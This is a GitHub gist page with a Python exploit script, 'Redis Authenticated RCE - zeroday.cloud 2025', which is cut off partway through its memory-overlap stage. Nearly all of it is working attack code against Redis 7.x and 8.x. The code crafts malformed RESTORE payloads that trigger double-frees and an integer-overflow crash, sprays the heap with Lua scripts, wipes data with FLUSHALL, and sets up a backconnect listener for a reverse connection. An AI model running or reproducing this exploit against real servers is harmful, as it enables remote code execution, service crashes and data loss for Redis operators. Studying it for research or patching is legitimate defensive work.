Skip to content

Instantly share code, notes, and snippets.

@neex

neex/exploit.py Secret

Created May 10, 2026 15:06
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save neex/7891fb30a41fa95e3dfd713fd1a03ac3 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save neex/7891fb30a41fa95e3dfd713fd1a03ac3 to your computer and use it in GitHub Desktop.
Download ZIP
Redis Authenticated RCE - zeroday.cloud 2025
Raw
exploit.py
#!/usr/bin/env python3
import argparse
import json
import os
import struct
import sys
import time
from collections import OrderedDict
from datetime import datetime
from typing import Iterable, Iterator, List, Optional, Tuple, Union
from pwn import context, log, remote, p64, u64, listen # type: ignore
from tqdm import tqdm
from loguru import logger
import gzip
import base64
DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 6379
ARGS_DEBUG = False
CURRENT_STAGE = 0
# Tweakable parameters
RESTORE_KEY = "zipmap:poc"
TYPE1_FIELD_LENGTH = 256
TYPE1_STAGE12_SET_LENGTH = TYPE1_FIELD_LENGTH // 8 - 1
# RDB constants
RDB_TYPE_HASH_ZIPMAP = 9
RDB_TYPE_STRING = 0
RDB_TYPE_SET_INTSET = 10
RDB_TYPE_STREAM_LISTPACKS = 15
RDB_TYPE_STREAM_LISTPACKS_2 = 19
RDB_TYPE_STREAM_LISTPACKS_3 = 21
MEMVIEW_LENGTH = 1 * 1024 * 1024 # 1MB
MEMVIEW_SDS_HEADER = b"\x00\x10\x00" + b"\xFF\xFF\xFF\xFF" + b"\x03"
###############################################################################
# Logging Utilities
###############################################################################
def setup_logging(debug: bool = False) -> None:
"""
Configure loguru logger with custom format and colors.
Log levels:
- SUCCESS: Completions and achievements (stage completions, found items) - green
- WARNING: Starting actions (beginning scans, triggering operations) - yellow
- INFO: Important progress updates - blue/white
- DEBUG: Detailed substep information - gray/dim
- ERROR: Failures - red
"""
# Remove default handler
logger.remove()
# Add custom handler with our format
log_format = (
"<green>{time:HH:mm:ss}</green> | "
"<level>{level: <8}</level> | "
"<cyan>[STAGE {extra[stage]}:{extra[tag]}]</cyan> | "
"<level>{message}</level>"
)
# Set log level based on debug flag
log_level = "DEBUG" # if debug else "INFO"
logger.add(
sys.stdout,
format=log_format,
level=log_level,
colorize=True,
)
# Configure logger with default extras
logger.configure(extra={"stage": 0, "tag": "INIT"})
def log_stage(message: str, level: str = "SUCCESS") -> None:
"""Log a major stage message."""
logger.bind(stage=CURRENT_STAGE, tag="STAGE").log(level, message)
def log_error(message: str) -> None:
"""Log an error with current stage information."""
logger.bind(stage=CURRENT_STAGE, tag="ERROR").error(message)
def log_info(tag: str, message: str, level: str = "INFO") -> None:
"""Log an info message with tag and stage."""
logger.bind(stage=CURRENT_STAGE, tag=tag).log(level, message)
def log_milestone(tag: str, message: str) -> None:
"""Log a major milestone/completion within a stage (green)."""
logger.bind(stage=CURRENT_STAGE, tag=tag).success(message)
def log_start(tag: str, message: str) -> None:
"""Log when starting an action within a stage (yellow)."""
logger.bind(stage=CURRENT_STAGE, tag=tag).warning(message)
def log_debug(tag: str, message: str) -> None:
"""Log detailed debug information."""
logger.bind(stage=CURRENT_STAGE, tag=tag).debug(message)
###############################################################################
# Backconnect Utilities
###############################################################################
def get_local_addr_from_redis_connection(ctx: 'ExploitContext') -> str:
"""
Extract the local IP address from the existing Redis connection.
Uses the underlying socket's getsockname() to determine which interface we're using.
Returns the local IP address as a string.
"""
try:
# Get the underlying socket from the pwntools remote connection
sock = ctx.redis.remote.sock
local_addr = sock.getsockname()[0]
return local_addr
except Exception as e:
raise RuntimeError(f"Failed to extract local address from Redis connection: {e}")
def setup_backconnect_listener(bind_addr: str, bind_port: int):
"""
Set up a listening socket on the specified address and port using pwntools.
Returns the pwntools listen object.
"""
log_info("BACKCONNECT", f"Setting up listener on {bind_addr}:{bind_port}")
listener = listen(port=bind_port, bindaddr=bind_addr)
log_milestone("BACKCONNECT", f"Listener started on {bind_addr}:{bind_port}")
return listener
def accept_backconnect(listener, timeout: int = 10):
"""
Accept a connection on the listener with the specified timeout.
Returns the connection object or None on timeout.
"""
log_info("BACKCONNECT", f"Waiting for backconnect (timeout: {timeout}s)...")
try:
listener.settimeout(timeout)
conn = listener.wait_for_connection()
log_milestone("BACKCONNECT", "Connection received!")
return conn
except Exception as e:
log_error(f"Backconnect accept failed: {e}")
return None
###############################################################################
# Utility Functions (embedded from utils.py for self-containment)
###############################################################################
def crc64(data: bytes) -> int:
"""Portable CRC64 implementation compatible with Redis' crc64.c."""
poly = 0xAD93D23594C935A9
crc = 0
for byte in data:
for bit in range(8):
carry = ((crc >> 63) & 1) ^ ((byte >> bit) & 1)
crc = ((crc << 1) & ((1 << 64) - 1))
if carry:
crc ^= poly
# Redis stores CRC little-endian after reversing bit order.
rev = 0
for i in range(64):
rev |= ((crc >> i) & 1) << (63 - i)
return rev
def make_restore_blob(payload: bytes, rdb_version: int) -> bytes:
"""
Wraps a raw DUMP payload (type byte + serialized object) with the
RDB version footer and CRC64 checksum expected by RESTORE.
"""
blob = bytearray(payload)
blob += rdb_version.to_bytes(2, "little")
checksum = crc64(blob)
blob += checksum.to_bytes(8, "little")
return bytes(blob)
def serialize(parts: Iterable[Union[str, bytes]]) -> bytes:
"""Encode a command into RESP for manual socket usage."""
parts_list: List[Union[str, bytes]] = list(parts)
out = [f"*{len(parts_list)}\r\n".encode()]
for part in parts_list:
if isinstance(part, str):
part = part.encode()
out.append(f"${len(part)}\r\n".encode())
out.append(part)
out.append(b"\r\n")
return b"".join(out)
###############################################################################
# Exploit Context
###############################################################################
class ExploitContext:
"""
Central state container for the exploit.
All persistent data flows through this context between stages.
Uses OrderedDict to preserve insertion order for pretty-printing.
"""
def __init__(self):
self._data = OrderedDict([
# Constants - Memory ranges (x86-64 Linux with PIE/ASLR)
('BINARY_ADDR_MIN', 0x500000000000),
('BINARY_ADDR_MAX', 0x700000000000),
('HEAP_ADDR_MIN', 0x6f0000000000),
('HEAP_ADDR_MAX', 0x800000000000),
# Connection
('redis', None),
# Backconnect configuration (set before stage1)
('backconnect_addr', None),
('backconnect_port', None),
('backconnect_listener', None),
# Version-specific configuration (set by stage0)
('redis_version', None),
('rdb_version', None),
('EXECUTABLE_OFFSET', None),
('ARGV_ARRAY_OFFSET', None),
])
self._constants = {'BINARY_ADDR_MIN', 'BINARY_ADDR_MAX', 'HEAP_ADDR_MIN', 'HEAP_ADDR_MAX'}
self._non_serializable = {'redis', 'backconnect_listener', 'way2_marker_keys'} # Fields that shouldn't be serialized
def __getattr__(self, name: str):
if name.startswith('_'):
return object.__getattribute__(self, name)
try:
return self._data[name]
except KeyError:
raise AttributeError(f"ExploitContext has no attribute '{name}'")
def __setattr__(self, name: str, value):
if name.startswith('_'):
object.__setattr__(self, name, value)
else:
self._data[name] = value
def pretty_print(self) -> str:
"""Format context for debugging - called on exception. Prints in order of appearance."""
lines = ["=" * 60, "EXPLOIT CONTEXT STATE", "=" * 60, ""]
for key, value in self._data.items():
# Skip constants and private keys
if key in self._constants or key.startswith('_'):
continue
lines.append(f" {key} = {self._fmt(value)}")
lines.append("=" * 60)
return "\n".join(lines)
def _fmt(self, value) -> str:
"""Format value appropriately for display."""
if value is None:
return "None"
elif isinstance(value, int):
return f"0x{value:016x}"
elif isinstance(value, str):
return repr(value)
else:
return str(value)
def configure_for_version(self, version: str):
"""Configure version-specific offsets and RDB version based on detected Redis version."""
self.redis_version = version
major_version = int(version.split('.')[0])
self.major_version = major_version
self.EXECUTABLE_OFFSET = 24
self.ARGV_ARRAY_OFFSET = 32
if self.major_version >= 8:
# Redis 8.x configuration
self.rdb_version = 12
log_info("VERSION", f"Redis {version} detected - using Redis 8.x configuration (RDB v12)")
elif self.major_version == 7:
# Redis 7.x configuration
self.rdb_version = 10
log_info("VERSION", f"Redis {version} detected - using Redis 7.x configuration (RDB v10)")
else:
raise RuntimeError(f"[STAGE {CURRENT_STAGE}] Unsupported Redis version: {version} (only 7.x and 8.x supported)")
# For Redis < 8.2, streamNACK/stream struct is 24 bytes; else 32 bytes.
v_tuple = tuple(int(x) for x in version.split('.')[:2])
if self.major_version < 8 or (self.major_version == 8 and v_tuple[1] < 2):
self.STREAM_STRUCT_SIZE = 24
log_info("VERSION", f"Redis {version} detected - using Redis < 8.2 configuration (STREAM_STRUCT_SIZE = 24)")
else:
self.STREAM_STRUCT_SIZE = 32
log_info("VERSION", f"Redis {version} detected - using Redis >= 8.2 configuration (STREAM_STRUCT_SIZE = 32)")
def to_dict(self) -> dict:
"""Serialize context to dictionary (excluding non-serializable fields)."""
result = {}
for key, value in self._data.items():
if key in self._non_serializable:
continue
result[key] = value
return result
def from_dict(self, data: dict) -> None:
"""Load context from dictionary."""
for key, value in data.items():
if key not in self._non_serializable:
self._data[key] = value
def save_to_file(self, filepath: str) -> None:
"""Save context to JSON file."""
os.makedirs(os.path.dirname(filepath), exist_ok=True)
with open(filepath, 'w') as f:
json.dump(self.to_dict(), f, indent=2)
log_info("CONTEXT", f"Saved context to {filepath}")
@staticmethod
def load_from_file(filepath: str) -> 'ExploitContext':
"""Load context from JSON file."""
ctx = ExploitContext()
with open(filepath, 'r') as f:
data = json.load(f)
ctx.from_dict(data)
log_info("CONTEXT", f"Loaded context from {filepath}")
return ctx
###############################################################################
# Redis Client
###############################################################################
class RedisError(Exception):
def __init__(self, message: str):
super().__init__(message)
self.message = message
class RedisClient:
def __init__(self, host: str, port: int, *, debug: Optional[bool] = None):
if debug is None:
debug = ARGS_DEBUG
context.log_level = "debug" if debug else "error"
self.debug = debug
self.remote = remote(host, port, ssl=False)
self.command_count = 0 # Track total commands sent
def __enter__(self):
return self
def __exit__(self, exc_type, exc, tb):
self.close()
return False
def close(self) -> None:
self.remote.close()
def send_command(
self,
parts: Iterable[Union[str, bytes]],
*,
expect_error: bool = False,
):
# Increment command counter
self.command_count += 1
# Log every 100 commands
if self.command_count % 100 == 0:
cmd_preview = self._fmt_parts(parts)
# Truncate long commands for readability
if len(cmd_preview) > 80:
cmd_preview = cmd_preview[:77] + "..."
log_info("REDIS", f"Command #{self.command_count}: {cmd_preview}")
payload = serialize(parts)
if self.debug:
log.debug(f"> {self._fmt_parts(parts)}")
self.remote.send(payload)
reply = self._read_reply()
if self.debug:
log.debug(f"< {self._fmt_reply(reply)}")
if isinstance(reply, RedisError):
if expect_error:
return reply
raise reply
return reply
def _read_reply(self):
line = self.remote.recvline()
if not line:
raise ConnectionError("connection closed")
if not line.endswith(b"\r\n"):
raise RuntimeError(f"malformed RESP line: {line!r}")
prefix = line[:1]
payload = line[1:-2]
if prefix == b'+':
return payload.decode(errors="replace")
if prefix == b'-':
return RedisError(payload.decode(errors="replace"))
if prefix == b':':
return int(payload)
if prefix == b'$':
length = int(payload)
if length == -1:
return None
data = self.remote.recvn(length)
if self.remote.recvn(2) != b"\r\n":
raise RuntimeError("malformed bulk reply terminator")
return data
if prefix == b'*':
count = int(payload)
return [self._read_reply() for _ in range(count)]
raise RuntimeError(f"unsupported RESP prefix: {prefix!r}")
@staticmethod
def _fmt_parts(parts: Iterable[Union[str, bytes]]) -> str:
rendered = []
for part in parts:
if isinstance(part, bytes):
rendered.append(part.decode(errors="replace"))
else:
rendered.append(str(part))
return " ".join(rendered)
@staticmethod
def _fmt_reply(reply) -> str:
if isinstance(reply, RedisError):
return f"(error) {reply.message}"
if isinstance(reply, bytes):
preview = reply[:16].decode("ascii", errors="replace")
return f"(bulk) len={len(reply)} preview={preview!r}"
if isinstance(reply, list):
return f"(array) {len(reply)} items"
return repr(reply)
###############################################################################
# Stage 0: Connect to Redis
###############################################################################
def _stage0_random_heap_massage(ctx: ExploitContext) -> None:
"""
Randomize heap state by inserting 100,000 keys of varying sizes.
This helps test exploit stability under different heap configurations.
"""
# Generate valid sizes: [8, 11, 16, 22, 32, ..., 65536]
# Formula: int(2 ** (x/2)) for x in range(6, 33)
sizes = [int(2 ** (x / 2)) for x in range(6, 33)]
log_info("HEAP-MASSAGE", f"Inserting 100,000 random keys (sizes: {sizes[0]} to {sizes[-1]} bytes)...")
start_time = time.time()
# Lua script for efficient bulk insertion
script = """
-- Parse valid sizes from ARGV
local sizes = {}
for i = 1, #ARGV do
sizes[i] = tonumber(ARGV[i])
end
local num_sizes = #sizes
-- Insert 100,000 random keys
local count = 100000
for i = 0, count - 1 do
-- Pick random size
local size_idx = math.random(1, num_sizes)
local size = sizes[size_idx]
-- Generate key name
local key = string.format("heap_massage:%06d", i)
-- Generate random value (repeat pattern for efficiency)
local pattern = string.char(math.random(65, 90)) -- Random A-Z
local value = string.rep(pattern, size)
-- Set key
redis.call("SET", key, value)
end
return count
"""
# Build ARGV with all sizes
argv = [str(s) for s in sizes]
# Execute Lua script
count = ctx.redis.send_command(["EVAL", script, "0"] + argv)
elapsed = time.time() - start_time
log_info("HEAP-MASSAGE", f"Inserted {count} keys in {elapsed:.2f}s")
def stage0_connect_to_redis(args: argparse.Namespace, ctx: ExploitContext) -> None:
"""
Establish connection to Redis server and prepare clean state.
Creates a RedisClient instance, authenticates if password provided,
verifies connectivity with PING, and flushes the database for a clean exploit environment.
Also detects Redis version and configures version-specific offsets.
"""
ctx.redis = RedisClient(args.host, args.port)
# Authenticate if password provided
if args.password:
ctx.redis.send_command(["AUTH", args.password])
log_info("AUTH", "Authenticated successfully")
# Verify connection
response = ctx.redis.send_command(["PING"])
log_info("PING", f"{response}")
# Detect Redis version and configure version-specific parameters
info_response = ctx.redis.send_command(["INFO", "server"])
if isinstance(info_response, bytes):
info_response = info_response.decode('utf-8')
# Parse redis_version from INFO output
redis_version = None
for line in info_response.split('\r\n'):
if line.startswith('redis_version:'):
redis_version = line.split(':', 1)[1].strip()
break
if not redis_version:
raise RuntimeError(f"[STAGE {CURRENT_STAGE}] Failed to detect Redis version from INFO SERVER")
# Configure version-specific offsets and RDB version
ctx.configure_for_version(redis_version)
# Random heap massage if requested (before FLUSHDB)
if args.random_heap_massage:
_stage0_random_heap_massage(ctx)
# Clean state
ctx.redis.send_command(["FLUSHALL"])
ctx.redis.send_command(["SAVE"])
# Set up backconnect now that we have a Redis connection (skip if flush-and-crash mode)
if not args.flush_and_crash:
setup_backconnect(args, ctx)
###############################################################################
# Flush and Crash (optional mode)
###############################################################################
def _build_crash_payload() -> bytes:
"""
Build a STRING payload that triggers integer overflow in sds.c.
The vulnerability: sds.c:108 checks 'initlen + hdrlen + 1 > initlen'
to detect overflow, but if initlen is huge (near SIZE_MAX), this overflows.
- 0x00 = RDB_TYPE_STRING
- 0x81 = 64-bit length prefix (8 bytes follow, little-endian)
- 0xfffffffffffffffe = huge length that causes overflow
"""
payload = bytes([
0x00, # RDB_TYPE_STRING
0x81, # 64-bit length encoding prefix
])
payload += b'\xff\xff\xff\xff\xff\xff\xff\xfe'
return payload
def stage_flush_and_crash(args: argparse.Namespace, ctx: ExploitContext) -> None:
"""
Send crash payload to trigger sds.c assertion.
This bypasses sanitize-dump-payload because the bug is in basic
RDB length decoding, not in listpack/stream validation.
"""
log_start("CRASH", "Building crash payload...")
raw_payload = _build_crash_payload()
log_debug("PAYLOAD", f"Raw payload: {raw_payload.hex()}")
# Wrap with RDB version and CRC
blob = make_restore_blob(raw_payload, ctx.rdb_version)
log_debug("PAYLOAD", f"RESTORE blob size: {len(blob)} bytes")
log_start("CRASH", "Sending RESTORE with crash payload...")
try:
reply = ctx.redis.send_command(["RESTORE", "crash:test", "0", blob], expect_error=True)
msg = reply.message if isinstance(reply, RedisError) else reply
assert False, f"Server did not crash: {msg}"
except Exception as e:
log_milestone("CRASH", f"Server crashed (connection lost): {e}")
###############################################################################
# Stage 1: Double-Free
###############################################################################
# Stage 1-2 shared constants for overlap setup
_STAGE12_CONST_START = -2 ** 63
def rdb_encode_length(length: int) -> bytes:
"""Encode length for RDB format.
Format:
- 00xxxxxx: 6-bit length (0-63)
- 01xxxxxx xxxxxxxx: 14-bit length (64-16383)
- 10000000 + 4 bytes big-endian: 32-bit length
- 10000001 + 8 bytes big-endian: 64-bit length
"""
if length < (1 << 6):
return bytes([length]) # 00xxxxxx
if length < (1 << 14):
high = ((length >> 8) & 0x3F) | 0x40 # 01xxxxxx
low = length & 0xFF
return bytes([high, low])
if length <= 0xFFFFFFFF:
return bytes([0x80]) + length.to_bytes(4, "big") # 0x80 = RDB_32BITLEN
return bytes([0x81]) + length.to_bytes(8, "big") # 0x81 = RDB_64BITLEN
def build_zipmap(field_len: int) -> bytes:
"""
Craft the zipmap payload used to trigger the double-free.
Exploits parsing ambiguity between zipmapValidateIntegrity() and zipmapNext().
Uses inefficient length encoding (0xFE prefix) that the validator and converter
parse differently, causing a 4-byte offset mismatch. See STAGE1_way1.md.
"""
buf = []
buf.append(b"\xfe") # zmlen = no count
buf.append(b"\xfe") # 4-byte field length (validator view)
buf.append(b"\x04\x00\x00\x00")
buf.append(b"\xfe\x04\x00\x00\x00") # value length (validator)
buf.append(b"\xff") # validator padding
buf.append(b"ABCD") # restore padding tail
buf.append(b"\xfe") # real key length (restore view)
buf.append(field_len.to_bytes(4, "little"))
buf.append(b"\xff" * field_len) # body with embedded fake terminator
buf.append(b"\xfe") # long value length (restore view)
buf.append(((1 << 32) - 1).to_bytes(4, "little"))
buf.append(b"\x00")
buf.append(b"\xff")
return b"".join(buf)
def build_restore_blob(field_len: int, rdb_version: int) -> bytes:
"""Build complete RESTORE blob with zipmap payload."""
zipmap = build_zipmap(field_len)
payload = bytearray()
payload.append(RDB_TYPE_HASH_ZIPMAP)
payload += rdb_encode_length(len(zipmap))
payload += zipmap
blob = make_restore_blob(bytes(payload), rdb_version=rdb_version)
crc = int.from_bytes(blob[-8:], "little")
log_info("BUILD", f"field_len={field_len} zipmap_len={len(zipmap)} blob_len={len(blob)} crc64=0x{crc:016x} rdb_version={rdb_version}")
return blob
def _stage1_trigger_double_free_rdb(ctx: ExploitContext) -> None:
"""Send malformed RESTORE command to trigger double-free."""
log_start("TRIGGER", "Sending malformed RESTORE command to trigger double-free")
blob = build_restore_blob(TYPE1_FIELD_LENGTH, ctx.rdb_version)
reply = ctx.redis.send_command(["RESTORE", RESTORE_KEY, "0", blob], expect_error=True)
msg = reply.message if isinstance(reply, RedisError) else reply
log_debug("RESPONSE", f"RESTORE response: {msg}")
log_milestone("SUCCESS", "Double-free successfully triggered")
def _stage1_prepare_overlap_keys(ctx: ExploitContext) -> None:
"""Prepare intset for Stage 2 memory corruption."""
log_start("PREPARE", f"Preparing intset with {TYPE1_STAGE12_SET_LENGTH} entries for Stage 2")
ctx.int_set_key = "write:0"
start = _STAGE12_CONST_START
payload3 = [str(i) for i in range(start, start + TYPE1_STAGE12_SET_LENGTH)]
ctx.redis.send_command(["SADD", ctx.int_set_key, *payload3])
log_debug("SADD", f"{ctx.int_set_key} prepared with {len(payload3)} entries")
def _stage1_trigger_double_free_way1(args: argparse.Namespace, ctx: ExploitContext) -> None:
"""
Trigger zipmap parsing ambiguity leading to double-free.
Exploits two bugs:
1. Parsing ambiguity: Inefficient length encoding causes validator and
converter to parse different structures (4-byte offset mismatch).
2. Double-free: When converter aborts, dictRelease() frees the field,
then sdsfree() frees it again.
Chunk size: 256 bytes. See STAGE1_way1.md for full details.
"""
assert ctx.redis is not None, f"[STAGE {CURRENT_STAGE}] Must connect to Redis first (stage0)"
if not args.plain_string_stage2:
# Prepare overlap keys for stage 2
_stage1_prepare_overlap_keys(ctx)
# Trigger the double-free bug
_stage1_trigger_double_free_rdb(ctx)
###############################################################################
# Stage 1 Way 2: Stream Consumer PEL Double-Free
###############################################################################
def _build_listpack_integer(value: int) -> bytes:
"""
Encode an integer for listpack format.
Returns the encoded bytes including backlen.
"""
if 0 <= value <= 127:
# 7-bit unsigned integer: single byte encoding
# Format: 0xxxxxxx (value in lower 7 bits)
return bytes([value, 0x01]) # value + 1-byte backlen
elif -4096 <= value <= 4095:
# 13-bit signed integer
# Format: 110xxxxx xxxxxxxx
if value < 0:
value = (1 << 13) + value
high = 0xC0 | ((value >> 8) & 0x1F)
low = value & 0xFF
return bytes([high, low, 0x02])
elif -32768 <= value <= 32767:
# 16-bit signed integer
# Format: 11110001 + 2 bytes little-endian
if value < 0:
value = (1 << 16) + value
return bytes([0xF1, value & 0xFF, (value >> 8) & 0xFF, 0x03])
elif -8388608 <= value <= 8388607:
# 24-bit signed integer
# Format: 11110010 + 3 bytes little-endian
if value < 0:
value = (1 << 24) + value
return bytes([0xF2, value & 0xFF, (value >> 8) & 0xFF, (value >> 16) & 0xFF, 0x04])
elif -2147483648 <= value <= 2147483647:
# 32-bit signed integer
# Format: 11110011 + 4 bytes little-endian
if value < 0:
value = (1 << 32) + value
return bytes([0xF3,
value & 0xFF, (value >> 8) & 0xFF,
(value >> 16) & 0xFF, (value >> 24) & 0xFF, 0x05])
else:
# 64-bit signed integer
# Format: 11110100 + 8 bytes little-endian
if value < 0:
value = (1 << 64) + value
return bytes([0xF4,
value & 0xFF, (value >> 8) & 0xFF,
(value >> 16) & 0xFF, (value >> 24) & 0xFF,
(value >> 32) & 0xFF, (value >> 40) & 0xFF,
(value >> 48) & 0xFF, (value >> 56) & 0xFF, 0x09])
def _build_listpack_string(s: bytes) -> bytes:
"""
Encode a string for listpack format.
Returns the encoded bytes including backlen.
"""
length = len(s)
if length <= 63:
# 6-bit string: 10xxxxxx + data
return bytes([0x80 | length]) + s + bytes([length + 1])
elif length <= 4095:
# 12-bit string: 1110xxxx xxxxxxxx + data
high = 0xE0 | ((length >> 8) & 0x0F)
low = length & 0xFF
return bytes([high, low]) + s + bytes([length + 2])
else:
# 32-bit string: 11110000 + 4 bytes length + data
return bytes([0xF0,
length & 0xFF, (length >> 8) & 0xFF,
(length >> 16) & 0xFF, (length >> 24) & 0xFF]) + s + bytes([length + 5])
def _build_stream_listpack(master_ms: int, master_seq: int) -> bytes:
"""
Build a minimal valid stream listpack with one entry.
Master entry format:
+-------+---------+------------+---------+---+---------+-+
| count | deleted | num-fields | field_1 |...| field_N |0|
+-------+---------+------------+---------+---+---------+-+
Entry format:
+-----+--------+----------+-------+-------+---+-------+-------+--------+
|flags|entry-id|num-fields|field-1|value-1|...|field-N|value-N|lp-count|
+-----+--------+----------+-------+-------+---+-------+-------+--------+
"""
elements = []
# Master entry
elements.append(_build_listpack_integer(1)) # count = 1 entry
elements.append(_build_listpack_integer(0)) # deleted = 0
elements.append(_build_listpack_integer(1)) # num-fields = 1
elements.append(_build_listpack_string(b"field1")) # field name
elements.append(_build_listpack_integer(0)) # end marker for master entry
# Stream entry (flags=0, delta ms=0, delta seq=0)
# lp-count = numfields(values) + 3(flags,ms,seq) + numfields+1(field names + num-fields field) for non-SAMEFIELDS
# For numfields=1: 1 + 3 + (1+1) = 6
elements.append(_build_listpack_integer(0)) # flags = STREAM_ITEM_FLAG_NONE
elements.append(_build_listpack_integer(0)) # ms delta from master
elements.append(_build_listpack_integer(0)) # seq delta from master
elements.append(_build_listpack_integer(1)) # num-fields = 1
elements.append(_build_listpack_string(b"field1")) # field name
elements.append(_build_listpack_string(b"value1")) # field value
elements.append(_build_listpack_integer(6)) # lp-count = 1 + 3 + (1+1) = 6
# Build the listpack
body = b"".join(elements)
total_len = 6 + len(body) + 1 # header (6) + body + EOF (1)
lp = bytearray()
# Header: 4 bytes total length (little-endian)
lp.append(total_len & 0xFF)
lp.append((total_len >> 8) & 0xFF)
lp.append((total_len >> 16) & 0xFF)
lp.append((total_len >> 24) & 0xFF)
# Header: 2 bytes num elements (little-endian) - 12 elements in our listpack
num_elements = 12
lp.append(num_elements & 0xFF)
lp.append((num_elements >> 8) & 0xFF)
# Body
lp.extend(body)
# EOF
lp.append(0xFF)
return bytes(lp)
def _build_stream_rdb_payload(rdb_version: int) -> bytes:
"""
Build a complete stream RESTORE payload that triggers consumer PEL double-free.
The vulnerability: when loading a consumer's PEL, if the same rawid appears
twice, the second raxTryInsert fails and streamFreeNACK(nack) is called.
But this nack is shared with the global PEL, causing a double-free.
"""
master_ms = 1000000000000 # Timestamp in ms
master_seq = 0
# Build the payload
payload = bytearray()
# Type byte
payload.append(RDB_TYPE_STREAM_LISTPACKS_2)
# Number of listpacks
payload.extend(rdb_encode_length(1))
# Listpack 1: nodekey (16 bytes = sizeof(streamID) in big-endian)
nodekey = struct.pack(">QQ", master_ms, master_seq)
payload.extend(rdb_encode_length(len(nodekey)))
payload.extend(nodekey)
# Listpack 1: listpack data
listpack = _build_stream_listpack(master_ms, master_seq)
payload.extend(rdb_encode_length(len(listpack)))
payload.extend(listpack)
# Stream metadata
payload.extend(rdb_encode_length(1)) # length = 1 item
payload.extend(rdb_encode_length(master_ms)) # last_id.ms
payload.extend(rdb_encode_length(master_seq)) # last_id.seq
# For RDB_TYPE_STREAM_LISTPACKS_2 and above:
payload.extend(rdb_encode_length(master_ms)) # first_id.ms
payload.extend(rdb_encode_length(master_seq)) # first_id.seq
payload.extend(rdb_encode_length(0)) # max_deleted_entry_id.ms
payload.extend(rdb_encode_length(0)) # max_deleted_entry_id.seq
payload.extend(rdb_encode_length(1)) # entries_added
# Consumer groups count
payload.extend(rdb_encode_length(1))
# Consumer group 1
cgname = b"mygroup"
payload.extend(rdb_encode_length(len(cgname)))
payload.extend(cgname)
payload.extend(rdb_encode_length(master_ms)) # cg_id.ms
payload.extend(rdb_encode_length(master_seq)) # cg_id.seq
payload.extend(rdb_encode_length(0)) # cg_offset (for LISTPACKS_2+)
# Global PEL size = 1
payload.extend(rdb_encode_length(1))
# Global PEL entry 1: rawid (16 bytes)
rawid = struct.pack(">QQ", master_ms, master_seq)
payload.extend(rawid)
# delivery_time (8 bytes, millisecond time)
delivery_time = 1000000000000
payload.extend(struct.pack("<q", delivery_time))
# delivery_count
payload.extend(rdb_encode_length(1))
# Consumers count = 1
payload.extend(rdb_encode_length(1))
# Consumer 1
cname = b"consumer1"
payload.extend(rdb_encode_length(len(cname)))
payload.extend(cname)
# seen_time (8 bytes)
seen_time = 1000000000000
payload.extend(struct.pack("<q", seen_time))
# active_time (8 bytes) - for RDB_TYPE_STREAM_LISTPACKS_3
#active_time = 1000000000000
#payload.extend(struct.pack("<q", active_time))
# Consumer PEL size = 2 (DUPLICATE rawid to trigger the bug!)
payload.extend(rdb_encode_length(2))
# Consumer PEL entry 1: same rawid
payload.extend(rawid)
# Consumer PEL entry 2: same rawid again (DUPLICATE - triggers double-free!)
payload.extend(rawid)
# Wrap with RDB version and CRC
return make_restore_blob(bytes(payload), rdb_version)
def _stage1_trigger_double_free_way2(args: argparse.Namespace, ctx: ExploitContext) -> None:
"""
Trigger stream consumer PEL double-free vulnerability.
When loading streams, global PEL entries contain NACK structures that
consumer PEL entries reference. If a consumer has duplicate rawids,
raxTryInsert fails and streamFreeNACK() is called on a shared NACK,
causing a double-free.
Chunk size: 32 bytes (sizeof(streamNACK)). See STAGE1_way2.md for full details.
"""
lua_script = """
local key_count = tonumber(ARGV[1])
local key_len = tonumber(ARGV[2])
local blob = ARGV[3]
for i = 0, key_count - 1 do
local key = string.format("x:%04d", i)
redis.call("SET", key, "x")
end
for i = 0, key_count - 1 do
local key = string.format("x:%04d", i)
redis.call("SETRANGE", key, 1, "X")
end
local ok, err = pcall(function()
return redis.call("RESTORE", "stream:poc", "0", blob)
end)
for i = 0, key_count - 1 do
local key = string.format("x:%04d", i)
redis.call("SETRANGE", key, key_len - 1, "X")
end
for i = 0, key_count - 1 do
local key = string.format("x:%04d", i)
redis.call("SETRANGE", key, 5, "X")
redis.call("SETRANGE", key, 0, string.format("%04d", i))
end
return true
"""
ctx.way2_key_count = 300
ctx.way2_key_len = ctx.STREAM_STRUCT_SIZE // 2 - 2
blob = _build_stream_rdb_payload(ctx.rdb_version)
ctx.redis.send_command(["EVAL", lua_script, "0", str(ctx.way2_key_count), str(ctx.way2_key_len), blob])
log_milestone("SUCCESS", "Stream double-free triggered")
def stage1_trigger_double_free(args: argparse.Namespace, ctx: ExploitContext) -> None:
"""
Trigger double-free bug in Redis.
"""
if args.vuln_type == "zipmap":
_stage1_trigger_double_free_way1(args, ctx)
else:
_stage1_trigger_double_free_way2(args, ctx)
###############################################################################
# Stage 2: Memory Overlap
###############################################################################
def _stage2_spray_float_keys(
ctx: ExploitContext,
*,
float_prefix: str = "float",
count: int = 100000,
) -> None:
"""
Spray 100k float keys for stage3's arbitrary R/W primitive.
Uses INCRBYFLOAT to create EMBSTR objects (Redis 7.x) or kvobj (Redis 8.x)
with predictable "1337.NNNNNN05" values. Stage3 scans memview for these
patterns to find a controllable object.
"""
log_start("SPRAY", f"Spraying {count} float keys for heap preparation")
script = """
local float_prefix = ARGV[1]
local count = tonumber(ARGV[2])
for i = 0, count - 1 do
local key = string.format("%s:%06d", float_prefix, i)
local value = string.format("1337.%06d05", i + 1)
redis.call("INCRBYFLOAT", key, value)
end
return
"""
ctx.redis.send_command(
[
"EVAL",
script,
"0",
float_prefix,
str(count),
]
)
log_debug("SPRAY", f"Completed spraying {count} float keys")
def _stage2_create_overlap_keys(ctx: ExploitContext) -> List[Tuple[str, bytes]]:
"""
Create keys with unique markers to detect memory aliasing.
Each key gets a distinct fill byte (A-Z).
Returns list of (key, marker) tuples.
"""
log_start("CREATE", "Creating overlap keys with markers A-Z")
keys = []
marker_len = 1
for i in range(26):
marker = bytes([ord("A") + i])
assert marker_len == len(marker)
key = f"hui:{marker.decode('ascii')}"
# Build payload with marker as suffix
payload = MEMVIEW_SDS_HEADER
suffix_len = TYPE1_FIELD_LENGTH - len(payload)
cnt_repeat = suffix_len // marker_len
assert cnt_repeat >= 1
suffix = marker * cnt_repeat
if len(suffix) > suffix_len:
suffix = suffix[-suffix_len:]
payload += suffix
keys.append((key, marker))
ctx.redis.send_command(["SET", key, payload])
log_debug("CREATE", f"Created {len(keys)} overlap keys")
